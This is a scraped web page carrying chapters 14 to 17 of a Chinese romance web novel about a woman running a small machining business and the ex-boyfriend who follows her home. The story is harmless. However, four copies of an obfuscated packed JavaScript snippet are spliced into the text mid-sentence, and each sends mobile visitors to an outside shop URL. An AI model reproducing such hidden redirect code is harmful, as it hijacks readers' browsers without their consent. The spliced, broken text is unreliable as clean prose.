$(''#content'').append('' “那小伙子你可得抓紧啊,可别让人家小姑娘等太久。” 李盛景忙不迭点头:“是,我这正努力让她点头呢。”说话的时候还看了林清浅一眼。 林清浅张口想拆穿他,又觉得没必要,只好假装没听见。 司机师傅大概是开车无聊,见乘客有聊天的意思,话就收不住了。他先是劝李盛景要努力追人,说女孩子都喜欢仪式感,求婚啊,礼物啊,该有的程序一样都不能少,李盛景全都点头答应。 大概是李盛景态度过好,发现问题不是在他身上,又劝林清浅:“小姑娘,长得这样帅又肯踏实工作的的小伙子可不好找了,尤其你们俩又有感情,就别拖着了。” 林清浅不说话努力降低自己的存在感了,没想到还是被波及。她瞪了看着她笑得有些幸灾乐祸的李盛景一眼,随口回应:“师傅说得有理。” 司机师傅很是满意,由此说起了自家的女儿,都快30了还不结婚,年年催她相亲,没一次催成功了,还扬言要单身一辈子,多跟她说几句结了婚就有了伴,再生个一儿半女的老了也有人照顾,她就跟我们说那些杀妻杀母的新闻。 “可这世界上哪来那么多的坏人。”司机师傅说。 林清浅想起自己的母亲催她结婚时也说过同样的话,每次她都是怼回去的,可司机师傅与她不过萍水相逢,下了车这辈子就不再有交集,没必要怼他徒惹不快,淡淡应了句:“或许她只是想找个自己喜欢的。” 这话引得李盛景眼睛发亮地看着她,林清浅偏头,躲开了他的目光。 司机师傅不知道后座的情况,还在发愁地说:“可也没见她谈个恋爱啊。” 李盛景说:“可能是缘分还没到,等缘分到了她说不定不用你催,自己就着急嫁人了。” 司机师傅被哄到了,开心地说:“希望这一天早点来,我们做父母,可就盼着孩子成家立业,趁着身子骨儿硬朗,给孩子们带带娃。” 话题就这么聊了下去,林清浅不善这种交际,基本不怎么开口,倒是李盛景常年跑项目,接触的人多,什么人都能聊得热络。 好在后面的路程不长,两人下了车,林清浅领着李盛景走到一栋田野间的,看起来有些年头的两层平方前面,侧头看着李盛景说:“这就是我现在住的地方。” 她想:努力想要往上爬的李盛景,肯定不愿与自甘下沉的人并肩同行吧。 14. 第 14 章 未能如林清浅意料,李盛景在门口时退缩了:“我这来得太晚了,什么都没准备,不太好,等我明天再来吧。” 林清浅心说:之前非要跟着来的不是你? 她也知道这么晚领着人回家会让人误会,所以没怎么坚持,把人带去旁边的小旅馆,同时说:“你要是想住好点的酒店那就只能去市里了。” 她会这么说是因为她所在的小镇基本都是当地人开的小旅馆,里面只有床和柜子,而且看起来年代久远。水是自来水烧的,装在热水瓶里,剩下的就是一双不知道多少旅客穿过的凉拖鞋,一次性的洗漱用具,唯一的优点就是价格便宜,才50块钱一晚上。 但李盛景这样的人,肯定是睡不惯这样的小旅馆的。别说睡,连这个环境都无法接受,因为她记得他们线下第一次见面的时候,李盛景在五星级连锁酒店都没睡好。他说他睡眠不好,有一点声音都会惊醒。 小镇的旅馆自然是足够安静的,可李盛景这人骨子里其实有一点高傲的,别说环境,首先这个价格他就会觉得配不上他。 男性在女性面前总是好面子的,尤其是在有好感的女性面前。 果然,李盛景都没走进去,在离小旅馆还有一小段距离的时候就停了下来,打开了打车软件。 他说:“你知道的,我睡觉怕吵。” 林清浅也想好面子,说自己来订房间。可她想到自己正是花钱精打细算的时候,五星级酒店住一晚得好几百,够她两天的营销花费还有多,心想:又不是我请他来的,而且我都是前女友了。 如此,等车来的时候他也没有送,只在车停下来的时候冷淡地说:“如果你不是来出差的或者旅游的,明天就走吧。我们其实不该开始。” 李盛景朝司机打了个手势示意等一下,侧身看着林清浅说:“浅浅,我能知道原因吗?我已经说过了,没有前女友的事,只是我父母不同意,但他们又不是我,我喜欢谁,我要同谁结婚,这是我自己的事情,他们要是不同意就不同意呗,我们又不会跟他们住。” 林清浅抬眼看向他,见他神情认真,眼中却又有着不解,知道他的这一段话是出自真心的。 她轻叹了一声,认真地回复他:“因为我们两个不合适。” 这话说得李盛景更疑惑了:“哪里不合适了?之前你不还说我们是绝配吗?” “你看看周围,阿景。”林清浅语重心长地,目光随着自己的话移动:“你看看这大片大片地田地,看看这底层人住的破旧旅馆,看看这一栋又一栋的低矮平房,你生活在钢筋水泥的城里,接触的都是各个公司的总经理啊董事长什么的,可我呢?” “我出生于农村,长于农村,就算是背井离乡来到的,也是这二线城市的乡下地方。”她声音是一贯的温柔,循循善诱一般:“当然,我也可以像我们认识之前那样找一份看起来光鲜亮丽得的工作,可是我与你终究是不同的,你向往的是上层人士的生活,住别墅,开豪车,甚至在合适的时机当自己的老板。可我不是。” “我当然不是不想过上你所希望的生活,也不是看不起我现在所做的职业。运气好接个大单子,说不定一个月就能赚到你一年的工资,而且,网店老板也是个老板,你说是吧?”她说到这里笑了一下,自顾自往下说:“但我们的生活是不应该有交集的,你能明白吗?” 李盛景不明白,至少此时此刻的他并不明白,所以他说了一句他自认为正确的话:“我可以养你啊,你不必这么辛苦的,我赚的钱养活你完全没问题的。” 林清浅便只是笑笑,说:“你该上车了,别让司机等太久。” 李盛景恍然想起他们还在一起时,自己曾在最想念她却又见不到人的时候问过林清浅:“你愿意当全职太太吗?” 类似的话他问过不只一次,可他清清楚楚地记得,林清浅的每一次回答都是:“我不愿意。” 李盛景靠在车窗上,车窗外路灯的光将他的侧脸照亮,让他想起有一回蹲在路边给林清浅打电话时的场景,好像也是此时这般昏黄晦暗的光。 当时的他请客户吃饭,席上喝了不少酒,散场后难受得紧,可一听到林清浅温温柔柔的声音就觉得好过了许多,他说:“你要是在我身边多好啊。” 林清浅的声音柔得像是能抚慰身心。她说:“我现在就在陪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958963|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你啊。” “不是这种陪。”他说:“今晚跟我一起陪客户的还有阿伟,他喝醉了酒,但我知道他没醉,他就是不想喝,所以把他老婆叫了过来,客户一看家属都来了,就不敢劝他了,我当时就想,要是你也来接我就好了。” “浅浅,你可以辞职吗?”他问。 林清浅沉默了两秒才说:“如果我辞职去找你,那我要工作吗?” 不等李盛景回答,她接着说:“工作还好,我有自己的事情忙。可如果不工作的话,我就只能每天等着你下班。可是你很忙,有应酬或许能早一点回来,没应酬的时候忙到凌晨以后是经常的事,那我在与不在又有什么区别呢?” 李盛景说:“当然有啊,我们在一起啊。我可以每天都看到你,能抱到你,想你的时候随时回家,而不是要调休,然后飞跃上千里。” 林清浅笑了下:“可是,早上你起床的时候我没醒,晚上我睡着的时间你还在工作,这样的日子一天两天没什么,可长久了,你总有一天会怨我怪我的。” 李盛景不懂:“我怎么会怨你怪你呢?我喜欢你还来不及呢。” “会的。”她的声音轻柔却笃定,像在说着一个既定的事实,而不是关于他们未来生活的某种猜想。“时间久了你就会想,为什么只有你辛辛苦苦,而我却什么都不用干,先是抱怨,然后是争吵,最后相看两厌。” “阿景,”她唤他的名:“我首先得是我自己,然后才能成为谁的妻子,谁的妈妈。” 李盛景觉得委屈:“我没不让你做你自己啊。” “可你工作是为了实现你的人生价值,你却不让我工作,实现我的人生价值。”林清浅轻声责怪:“你不能仗着我喜欢你,就要求我放弃自己。” 想到这里的李盛景暗骂了自己,明明之前他们因为这种事情有过争吵,今晚的自己却又一次大言不惭地说要养活她。 难怪以前浅浅总说我不在意她。李盛景后知后觉地明白:原来,那些她很在意的,甚至重复了很多遍的话,我却从未听进去过。 我只在乎我自己。 “我确实是个渣男。”李盛景说。 15. 第 15 章 林清浅刚进门就被堵住了。 赵绵绵张开双手拦在她面前,凶巴巴地开口:“说,你们两个怎么又联系上了?什么时候联系上的?” 林清浅笑着从旁边绕过去往二楼走:“就前几天,游戏里被他找上的。” “我就说你那游戏别玩了,也不知道有什么意思。”赵绵绵跟在后面,一脸吃到了瓜的表情:“现在怎么说,你们这是打算重归旧好?” 林清浅顿了一下继续往上:“他有那个意思,但我还没想好。” 在亲近的人面前她没有任何防备和伪装,展露出来的是自己的不坚定和迷茫。 赵绵绵“切”了一声:“以你这性格,他要是想找你和好的心稍微强烈那么一点,磨个几次你就会同意了。” 林清浅不反驳,她自己确实容易心软和摇摆不定,就像当初她能坚定地拒绝当一个全职太太,在喜欢的人面前争取自我,可真等分了手,求和好的时候这些都是可以妥协的东西。 爱在她心里的份量实在太重,尤其是她长到这么大第一次喜欢一个人。 两人上了二楼,林希音和林灿星都跑了过来,她们扑过来抱住林清浅,仰起小脸说:“姑姑,我想你了,你去哪儿了呀?” 这话把林清浅说得心里熨帖,当即就把小的那个给抱了起来,在小嫩脸上蹭了蹭,声音都夹了起来:“姑姑去找朋友玩了。” 林灿星年纪小容易糊弄,已经是大班小朋友的林希音却不上当:“姑姑你骗人,你明明就是去见姑父了。” 林清浅抱着林灿星回头看赵绵绵,那眼神像是在说:“你怎么教孩子这些。” 赵绵绵立即说:“这可不是我教的,是希希先对着视频里的人喊姑父我才过来看一眼的,不然还不知道你去见那个渣男了呢。” 林清浅说:“他真的不是渣男。” 赵绵绵抱胸倚墙而立,一副“我听你狡辩”的样子:“那你说说,他哪里不渣了?” 林清浅弯腰把林灿星放下去,让林希音带着她去房间里玩,然后才说:“他说前女友的事是假的,是因为他爸妈不同意,又恰好前女友出现在评论区,就用了前女友当借口。” “我的老姐哎,”赵绵绵激动得身体都挺直了,语气很有些无奈:“你都35了,能不要这么天真吗?他说什么就是什么?之前你不还说他跟你说过,要是他父母不同意你们就私奔?结果呢?你去禅城他都不敢把你往家里带,还美其名曰想跟你过两人世界。” 她指指林清浅的胸口:“你可长点心吧,别哪天被人卖了都不知道,以为自己嫁了个良人。” “我的老姐~”转弯处忽然弹出来一颗头,林锦程笑得一脸纯良,但语气里荡漾的波浪线泄露了他看热闹的真实心情:“听说你去见我未来的姐夫了?” 林清浅觉得头大,话都不想说了。 林锦程看不到她脸上的表情一般,走过来说:“怎么样?我未来的姐夫什么时候来提亲啊?见面的时候他有没有送你花啊?来求和好的话道歉的礼物有吧?” 赵绵绵笑着接话:“就是,不管是他爸妈不同意,还是前女友,你们分手是真的,而且都分了三个月了,这时候找过来求和好,总得有点诚意吧?不能上下嘴皮子一碰说几句好听的话,画几张大饼,你就原谅他了,那之前三个月你岂不都白伤心难过了?” 林清浅低声说:“倒也没难过那么久。” 是真的没有那么久。虽然李盛景是她第一个喜欢的人,分手的时候确实也难过伤心到以为自己走不出来,可时间是治愈伤口最好的良药,而她本来就不是会让自己过度沉溺于悲伤情绪的人,更不是会强求别人的人,能低下身段,放下自尊地三番两次去求和好,已经是她给自己这段恋情的最大尊重。 赵绵绵也不是第一天和林清浅同一个屋檐下相处了,而且毕竟是姐姐,点到即止:“现在怎么说,他回去了?你们和好没?” “没有。”林清浅觉得头大:“他跟了来,去住酒店了。” “什么?!”林锦程夸张地大叫:“我姐夫不会明天就要上门了吧?那我这一身可不行啊,得连夜去整套西装,而且我可不敢接待啊,人家在上市公司里是个不小的总呢,那得上五星级饭店里去吃,还得是包间,我这么一个小厂的老板要养家糊口的,哪里招待得起啊?” “林锦程。”林清浅的语气变得严肃:“别什么事都拿来开玩笑。” 林锦程吐了下舌头,表情正经了起来:“他真跟来了啊?”言语间有两分嫌弃。 林清浅点头:“本来刚刚就要跟我进门的。” “给妈打个电话。”赵绵绵说:“让他们明天一早就过来。既然他说他爸妈不同意,那也得让他知道,咱们爸妈也不同意。” 林锦程给他老婆竖了个大拇指。 林清浅想:这也是个办法,既然自己拒绝没用,那就在别的方面让他知难而退,反正我爸妈不同意这事他也是一早就知道的。 她说:“我打吧。” 赵绵绵无异议,叫上林锦程给两个孩子洗澡去了。 - 林父林成业和林母王曼容没跟孩子们住一起,但离得并不远,知道事情的原委后差点当晚就要过来,吓得林清浅赶紧说:“人家也没说明天一定登门拜访。” “那我过去,你爸就还去上班。”王曼容不容拒绝地说。 林清浅只得说:“好吧。” 挂了电话后就给李盛景发消息:到酒店了吗? 阿景:快了 沉迷学习的浅浅:有一个不幸的消息,你要不要听? 阿景:[尊嘟假嘟.jpg] 阿景:不,我不要听! 林清浅无视他的拒绝:我妈明天会过来,明天你还敢上门吗? 李盛景连着发了三个惊吓的表情,小心翼翼地问:阿姨不会是为了见我才过来的吧? 沉迷学习的浅浅:你觉得呢? 阿景:[大可不必.jpg] 林清浅偶尔也会有那么一点捉弄人的坏心思的:我弟说要给你去五星级酒店订个包间。 这次李盛景的惊吓表情包刷了屏。 沉迷学习的浅浅:哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958964|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈哈哈哈哈 李盛景这才知道林清浅是在逗他。他真情实感地说:刚才吓死宝宝了。 林清浅看着这一句不由莞尔,心中想起的,是曾经他们热恋时经常自称宝宝的那些时光。明明没谈恋爱的时候对这个称呼是嗤之以鼻的,可一旦有了喜欢的人,被他不经意间喊一声宝宝,就真的高兴得跟个宝宝似的,连本来可以独自完成的一些事都变得困难了起来,人也矫情了不少。 她没有再说一些话来吓他,陪着他聊到下了车进酒店后就去洗漱了。 等在床上躺了下来,陪着大侄女玩闹了一会儿,让小朋友睡觉就秒睡后,她在黑暗中睁开眼,想起这一天一晚的相处时光,发现三个月过去,他们之间已经开始变得生疏,连恋爱之前做师徒时的亲近都不复存在,像两个见面就把问题摆在桌面上弹的相亲对象。 “我们到底是怎么喜欢上对方的呢?”林清浅有那么一刻动摇了,开始怀疑自己对李盛景的喜欢是否是男女之间的那一种?还是说,游戏里时长日久的陪伴因为成了一种习惯,所以在被告白的时候怕会失去,顺从地选择了接受? 但她很快否定了这种想法,因为习惯也好,好感也罢,这两种情感都不会对另一方有生理上的需求。 “我不该把现实问题摆给他看的。”林清浅有些后悔,李盛景待不了几天的,等他回去了,他们又不会再见面,何至于就把人带回来,将自己的难堪摆到他的面前去。 “算了,就当是我作为师父的最后赠礼吧。”林清浅想:李盛景总有一天无法再用“幼稚”“不成熟”这样的理由去面对现实的,爱情如果想要开出理想的花朵,总要面对柴米油盐的现实问题。 她侧过身,把不知道什么时候睡到了被子外面的林希音搬进被子里,侧过身睡了。 第二天她是被千牛的消息提示音叫醒的。人都还没清醒的她熟练地打开千牛,看见有人发了图纸过来问价,瞬间就清醒了。 她坐了起来,看过图纸后报了个稍低的价格,客户说做200件的话能否有优惠。 这是大单啊。林清浅人都精神了,斟酌过后报了个价,以为对方会还价,可竟然没有,而是问了工期,在得知需要一周后又问能否加急,说他之前找人做过,价格相对便宜一点,但工期太长了。 林清浅又看了一遍图纸,需要打孔和铣槽,速度不会很快,但也不需要一周的时间,只是因为林锦程手里还有几个单子没做完,所以才报了个长的周期。 可开店一个多月只接了几个小单子的林清浅难得遇到过大点的单子,自然不想放弃,于是说可以加急,但也需要四天的时间。 客户这次很爽快,确定四天一定可以交货后当即下了单。林清浅看到订单已支付的那一刻差点高兴得喊一嗓子,心想还是搞钱更快乐。 她给半个身子睡在外面的侄女盖好被子后起床,去卫生间洗漱时听见楼下有声音,是她妈在说话,她没在意,自顾自去洗漱,等下了楼,看见正在聊天的两个人时吓了一小跳。 林母王曼容与李盛景竟然是一副相聊甚欢的样子。 16. 第 16 章 “妈?你多早来的?”林清浅看了眼手机,才8点13分。王曼容从隔壁市过来得40分钟,还是遇上红灯少的情况下。 可现在看,这两人聊了有一会儿了。 王曼容斜了林清浅一眼,没好气道:“我7点多就来了。还好我来得早,不然客人上门了你还在睡觉,像你这样哪能接到单?客户上门了你还睡得屁股朝天的。” “妈。”林清浅没想到亲妈兜头就是一顿训,用词还有些粗俗,这让她很是尴尬。 李盛景曾听林清浅提起过她妈,说是性格要强,喜欢管教人。他提着东西进门时被热情接待,还以为林妈妈很好相处,眼下看来并非如此。 他想替林清浅说说好话,还没开口就看到林清浅朝自己小幅度地摆了摆手,而后听到她说:“我早就醒了,是在上面接了个单子,有上万呢。” 王曼容顿时换了脸色,和声和气地:“做的什么?零切还是加工?” “加工件,估计厂里材料不够,还得订货。”林清浅在电脑桌上找了纸笔,然后在桌前坐了下来,边开始算用料边问:“你们聊了些什么?” 王曼容说:“聊你,说你都36了还没嫁出去。” 林清浅头都没抬:“我35生日都还没过呢。” 李盛景以为她们要吵起来,忙说:“现在结婚都晚,这一辈子的事,谨慎一些好。” 林清浅看了他一眼。 那眼神里有一点责怪的意思,李盛景便知道自己这话说得不对,不由地坐直了身体。 果然,王曼容说:“可她都36了,哪怕今年结个婚,明年生孩子,等孩子养大,她都退休了。可问题是,她现在连个人都没有。” 这样的话李盛景在家里也听过不少。早几年还不着急的父母,在他过了28岁生日后忽然就着急了起来,每次回家都要过问他的感情状况,且随着年岁的增长愈发急切,好不容易听到他交了女朋友又催着见面。 李盛景没告诉过林清浅,他给父母看过她的照片。 那是他有次去水城见林清浅,在琴房里等她下班时偷拍的。当时晚霞漫天,透过玻璃窗将整个琴房也染成了火焰一般的橙红色,林清浅没时间陪他,因为第二天要教的一首曲子等级高,难度也高,所以趁着下一个学生没来的空隙里练练手,弹得很忘我。 那是他第一次见林清浅弹琴,觉得很是新鲜。他听不出来曲子要表达的意思,只觉得又是手指并拢扫过琴弦,又是张开或半握拍打琴弦,动作快得出了残影,却又不失其美感,这样专注和在自己喜好的事情上沉浸其中的林清浅太有吸引力,忍不住就拿出了手机拍了起来。见林清浅不被影响,他松一口的同时还换着角度拍摄,后面曲子从激昂转为柔婉时,他甚至拍起了视频。 照片里,认真弹奏的女孩坐在光里,眼眸低垂,面容沉静,身姿端正,嘴角挂着的一抹淡笑自信有从容,好似那光是从她身上散发出来的一样,让人不由心生好感。 或许是因此,他妈妈一看见照片就说:“这女孩子不错,长相文文静静的,宜室宜家,还会弹琴,看着还很厉害的样子,儿子你好福气啊,找到个这么好的。” 他爸一向以他妈的标准为标准:“确实不错,什么时候带回家里来?我亲自下厨,” 李盛景不知他妈妈是如何从一张侧脸看出来“文文静静,宜室宜家”的,但不得不说长辈的眼光确实毒辣,林清浅确实长得文静清秀,放在古代就是个知书达理的世家小姐。 只是,当时说只要他喜欢就行,不用过问他们意见的父母,明明看了林清浅的照片很满意,知道她是外省的也接受了,却在最后知道她领过离婚证的时候反对得那么强烈。 她明明也是那场还没开始就结束的婚姻里的受害者,可世人只看档案上的定论,却从不问过程和缘由。 其实又何止是他父母,他自己也曾有过在意的时候。 李盛景笑自己也不能免俗,然后抬头跟王曼容说:“那阿姨你看我怎么样?我想跟浅浅好,想娶她。” 王曼容像是没想到他会突然打直球,整个人都愣住了,饶是她脑子转得快,也是张了两次口才说出话来:“这结婚的事也得她自己拿主意,我们做父母的再怎么满意她不同意的话,也没办法绑着她嫁不是?” 她顿了一下,不等在场的两人开口又说:“而且我听说你们之前是因为你前女友?我家浅浅性子软,也好骗,还没谈过恋爱,分辨不出真心还是假意,你要是放不下你前女友就找她去,别想着两头都不放手。” 李盛景看向林清浅。林清浅还在算材料和成本,但脑袋点了点,像是同意她妈的话。 他说:“阿姨,不是前女友的事,是我没做好爸妈那边的工作,又怕直说会让浅浅降低对我爸妈的好感度,所以用前女友出来当借口,没想到这做法比直说更糟糕。” “当然糟糕了。”林清浅说:“爸妈强烈反对不得不分手,那是无奈之下的选择问题,但谈着现女友却还想着前女友,那是人品问题。” 李盛景立即滑跪:“所以我错了,浅浅,是我蠢笨,不知道你在意的是什么。” 林清浅起身说:“你们聊着,我去下厂里。”走出去两步她又回头问李盛景,“你吃早饭了吗?” “吃过了。”李盛景说。 王曼容不高兴了:“你不问问你妈吃没吃?” “你肯定吃过了。”林清浅这次头也不回地走了。 “阿姨我也去看看。”李盛景想也不想地跟了上去。 厂离得不远,走个两三分钟就到了。林清浅到的时候,林锦程已经干了好一会儿活儿了。 她把图纸和自己计算的材料单给林锦程看,林锦程说:“这个材料对的,厂里还有些,但不够,什么时候发货?” 林清浅说:“客户要得急,4天就得做出来。” “你新店,这单子不算小,不是要得急,这个价估计也不找你。”他看了眼两台在运转的机器:“我空一台机器出来做你这个。” “不过老姐,”正经了不到两分钟的林锦程朝林清浅挤眉弄眼:“接到大单了,晚上是不是得火锅店走起?” 李盛景适时插话:“要不晚上我请?” 林锦程早就注意到跟着林清浅进来的李盛景, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958965|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还以为是客户,装得一本正经,但见林清浅对待这人的态度不像是客户,这才放肆起来。 他凑到林清浅脑袋边上,看向李盛景:“这不会就是我未来的姐夫吧?” “别乱喊。”林清浅一把推开他的脑袋:“厂里有多少材料,要订多少?就4天的时间,送货还要时间呢。” 李盛景饶有兴趣地看向表面不和的姐弟俩,跟人自我介绍:“我叫李盛景,可以叫我小李。” “这可不兴叫啊。”林锦程一副吓到了的样子:“虽然你比我小,但这万一要是你成了我姐夫,我妈得骂我没大没小,要不叫李总吧,我听说你是个总经理来着。” “不是,其实就是挂个名,毕竟出去谈项目总要个名头。”从来很自负的李盛景居然谦虚起来了,引得林清浅侧头看了他一眼。 “那也是个总。”林锦程笑着,然后才回答了林清浅的问题。 林清浅到一边去给原材料商打电话。林锦程一步跨到李盛景旁边,低着头小声问:“你跟我姐到底咋回事儿?前女友那事到底真的假的?” 李盛景与林清浅在一起的时间不过三个月,对林家人的了解很少很少。林锦程比他大,又比他高,虽然瘦但不知道为何让人觉得不好惹。 他认真又严肃地回答:“假的,我们都好几年没联系了,那天看到她评论才想起来没删好友,赶紧给删了。” 林锦程目光在他脸上仔细扫了扫,见他不像作假,便搭着李盛景的肩膀说:“那你家里要是一直反对怎么办?结婚可不是谈恋爱,我姐年纪也不小了,没时间跟你谈恋爱的游戏。” “林锦程,你管我?”林清浅摆起了姐姐的架子。 林锦程赶紧与李盛景分开,讪笑着说:“我这不也是关心你嘛,你可是我亲爱的姐姐。” “揭我黑历史的时候可没见你把我当过姐姐。”林清浅说:“材料订好了,中午前送过来,我把图纸给你,要铣的这种加工件我还不会。” “行。”说起工作,林锦程又正经了。 林清浅把图纸发过去,本来想跟着在旁边学一学,想起还有个李盛景在,不好真把人给无视了,看林锦程拿着图纸去了机器前,站到李盛景旁边说:“你现在看到了,我们做的就是这种材料加工的活儿,我弟还接点焊接加工的单子。不怎么累,但也说不上轻松,忙的时候加班加点,但也意味着有钱赚,不忙的时候就坐在家里打游戏。” “其实挺好的。”李盛景羡慕地说:“不用像我们这样为了个单子推杯换盏,到处赔笑脸,哪怕是项目拿下来了后面还要从研发样品,定价,一路盯到发货,出了点问题这中间的哪个部门都要找我,钱是赚到了,可累也累死了,大头还是公司的,自己也就拿个提成,不像你们,每一笔进账都进了自己的口袋。” 林清浅没说话,因为她知道人存于世,要怎么活是每个人的选择。李盛景此刻羡慕,可要他来做自己的活,那肯定是不愿的,毕竟李盛景自己就说过,他热爱工作,是个工作狂,工作能证明他活着的意义。 可李盛景此刻却说:“浅浅,要不你教教我,我也跟着你做这个?” 17. 第 17 章 林清浅满以为李盛景在看到小又杂乱的厂房时虽不至于嫌弃,但应该是看不上他们这个生意的,毕竟再大的单子,也比不过李盛景那种一个小目标起步的项目。 李盛景知道她的想法后说:“你们拿下一个百万的单子,除去材料成本和人工,最低也有个二三十万吧,可我就算谈下来一个小目标,那到我手里的,可能还不如你们这个数。” 林清浅本来不信,但一想李盛景不像他们这种个体户,虽然是他谈下来的项目,但需要各个部门去运作,分钱的就是参与的所有部门甚至整个公司。 她歪着头看李盛景,笑说:“这么看来,我们这种小本经营还更好?至少不用陪客户,不用打卡上下班,自己辛辛苦苦谈下来的单子,赚到的钱也是自己的。” “当然啊。”李盛景想起公司里的那些事:“也不用面对公司里的蝇营狗苟,说实话,同事之间的勾心斗角才是最累的。” “我最怕这个了。”林清浅开了个玩笑:“我要是去你们公司,估计活不过一集。” 李盛景笑了下算是捧场。 林锦程调好电脑数据走过来,忍不住吐槽:“你可能就是开场那两分钟的简介。” 林清秀作势要打,林锦程很配合地做了个躲的动作。 李盛景就笑:“你们姐弟关系挺好的嘛。” 林清浅示意他跟着自己,转身往厂外走。 李盛景很听话地跟上。 林清浅在只有两个人的时候问:“你怎么不跟我说过来了?” “呃……”李盛景犹豫了两秒,决定还是实话实说:“我有给你发消息和打电话的,但你都没回应,我还以为你不肯见我。” 林清浅尴尬了:“早上能叫醒我的,只有客户的电话和千牛的叮咚声。” “好好好,能叫醒你的只有钱。”李盛景的眼里含着笑,声音也有几分宠溺:“不过我每天起床的动力也是钱。” “谁能不爱钱呢。”林清浅又问:“我下楼前你跟我妈都聊了些什么?” “阿姨在你没下来之前感觉都挺友善的。”李盛景说:“她就问了问我的工作,收入什么的,也没聊多久。” 林清浅点点头:“我妈的话别太听。” 李盛景没做声。 眼看快到门口了,林清浅忽然停了下来,后面的李盛景撞了上去,把林清浅撞得踉跄了一下,被李盛景及时拉住了,两人同时说:“对不起,你没事吧?” 林清浅摇了摇头:“我没事。你什么时候走啊?” 李盛景当场哭唧唧:“你赶我走。” “我没有那个意思。”就算是这种时候,林清浅说话也不疾不徐的,连声音都很平:“但我们明显得不到双方父母的同意,那你待在这里就是浪费时间,不如回梁溪去,约客户见见面,吃吃饭,说不定又一个小目标来了。” 李盛景低落地说:“你在嘲笑我,我知道。” “我没有。”林清浅否认:“我们就算和好,之前的那些问题还是会存在,也总归会面对。以前我以为,两个人只要足够相爱,那其他阻碍都不会是问题,但终归是我天真了。” “阿景,”她看着眼前这个喜欢过的人,平和地说:“我不想做二选一时,被放弃的那一个。” 这是一道与“妈妈和女朋友同时落水,先救哪一个”一样的难题,李爸李妈激烈反对的情况下,李盛景或许会因为一时的爱意汹涌而选择她,可当激情退怯,亲情才会是李盛景坚定不移的选择,因为他本身就是个很重视父母亲人的人。 大部分的人也都会这么选。至于林清浅,她知道父母反对的心并不强烈,因为相比于远嫁,他们更期盼她嫁出去。 想到这里的林清浅笑了一声,笑得有些凉薄。 她冷酷地说:“走吧,你就当我不愿意陪你一起努力,不愿与你一同去争取你父母的同意。” “我知道这些话不是出自你真心。”李盛景睁着一双泛红的眼睛看她:“你就是不想我同我爸妈决裂,你这个人最会为别人着想了。甚至到现在,你都没有对我当初那么狠心地要与你分手的事有过责怪,也没有因为我利用你的心软和善良逼你跟我见面的事骂我卑鄙无耻。浅浅,你不能这么无私和大度。” 林清浅“呵”了一声,像是终于被激怒了,声音依然温柔,却不再平静:“我要是不这么无私和大度,前天晚上看到消息的时候就直接删了,当没看见。李盛景,你不能在得了我无私和大度的好处后又来谴责我。” “浅浅,”李盛景笑了起来:“这样才对,我不对的反驳我,斥责我,别委屈自己。” “你有病啊。”林清浅气得转身走了。 她没见过这样的李盛景,跟个无赖一样。 李盛景目的达到,跟在他后面两步远的地方,心想:浅浅生气都只会小发雷霆,还一点血都不掉。 王曼容端着豆角出来择,看见一前一后进了院子的两人,询问后面那个:“小李,中午在家吃饭啊,喜欢吃什么菜?能吃辣不?” 她一连问了好几个问题,李盛景来过一回,脸皮也厚了,见林清浅径直上了二楼,不太好意思跟上去,蹲到王曼容旁边帮忙择菜:“阿姨你做什么我吃什么,我不挑食,也能吃辣,不过没浅浅能吃。” 王曼容把菜盆端得老远,另一手拦住李盛景:“哪能要你帮忙,你坐着就行。” 李盛景坚持了几次,每次都被拦住,终于放弃,搬个小凳子坐到旁边:“我看浅浅特别能吃辣。” “不是她特能吃,是我们那儿都特能吃。”王曼容边择菜边说:“小李啊,你家里人要是不同意就别招惹我们家浅浅了,她耳根子软,又是真心喜欢你,更是头一回谈恋爱,你这么追着她,她就会忘不掉你。你说你俩要是谈恋爱,那家里同不同意也没事,可浅浅她年纪不小了,哪还有时间谈恋爱,就算谈那也是奔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958966|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着结婚去的。” 